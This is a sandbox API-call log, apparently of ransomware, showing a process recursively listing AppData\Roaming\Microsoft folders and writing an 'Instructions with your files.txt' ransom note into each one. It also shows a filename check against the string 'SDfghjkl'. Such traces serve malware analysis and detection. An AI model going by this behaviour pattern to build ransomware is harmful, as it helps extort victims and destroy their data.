[0131.308] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.308] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.308] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.308] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.308] CloseHandle (hObject=0x120) returned 1
[0131.308] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.309] GetProcessHeap () returned 0x810000
[0131.309] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.309] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x681f1360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa1e34990, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e34990, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0
[0131.309] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\Instructions with your files.txt") returned 103
[0131.309] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\rsa\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.309] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.310] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.310] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.310] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.310] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.310] CloseHandle (hObject=0x11c) returned 1
[0131.310] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.310] GetProcessHeap () returned 0x810000
[0131.310] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.310] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x681f1360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x681f1360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0
[0131.310] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\Instructions with your files.txt") returned 99
[0131.310] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.311] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.312] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.312] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.312] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.312] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.312] CloseHandle (hObject=0x118) returned 1
[0131.312] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.312] GetProcessHeap () returned 0x810000
[0131.312] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.313] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Building Blocks", cAlternateFileName="DOCUME~1")) returned 1
[0131.313] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned 84
[0131.313] GetProcessHeap () returned 0x810000
[0131.313] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.314] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*") returned 86
[0131.314] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.314] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\.") returned 86
[0131.314] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.314] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\..") returned 87
[0131.314] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
[0131.315] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033") returned 89
[0131.315] GetProcessHeap () returned 0x810000
[0131.315] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.315] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*") returned 91
[0131.316] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.316] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\.") returned 91
[0131.316] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.316] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\..") returned 92
[0131.316] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1
[0131.316] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14") returned 92
[0131.316] GetProcessHeap () returned 0x810000
[0131.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.316] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\*") returned 94
[0131.316] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.317] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\.") returned 94
[0131.317] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.317] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\..") returned 95
[0131.317] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4e2b7e00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 1
[0131.317] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx") returned 122
[0131.317] StrStrIW (lpFirst="Built-In Building Blocks.dotx", lpSrch="SDfghjkl") returned 0x0
[0131.317] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4e2b7e00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 0
[0131.317] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Instructions with your files.txt") returned 125
[0131.317] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.318] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.319] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.319] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.319] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.319] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.319] CloseHandle (hObject=0x120) returned 1
[0131.319] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.319] GetProcessHeap () returned 0x810000
[0131.319] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.319] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0
[0131.319] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\Instructions with your files.txt") returned 122
[0131.319] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.320] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.320] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.321] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.321] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.321] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.321] CloseHandle (hObject=0x11c) returned 1
[0131.321] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.321] GetProcessHeap () returned 0x810000
[0131.321] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.321] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
[0131.321] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\Instructions with your files.txt") returned 117
[0131.321] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.321] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.322] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.322] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.322] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.323] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.323] CloseHandle (hObject=0x118) returned 1
[0131.323] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.323] GetProcessHeap () returned 0x810000
[0131.323] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.324] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1c1e0470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel", cAlternateFileName="")) returned 1
[0131.324] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel") returned 65
[0131.324] GetProcessHeap () returned 0x810000
[0131.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.325] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\*") returned 67
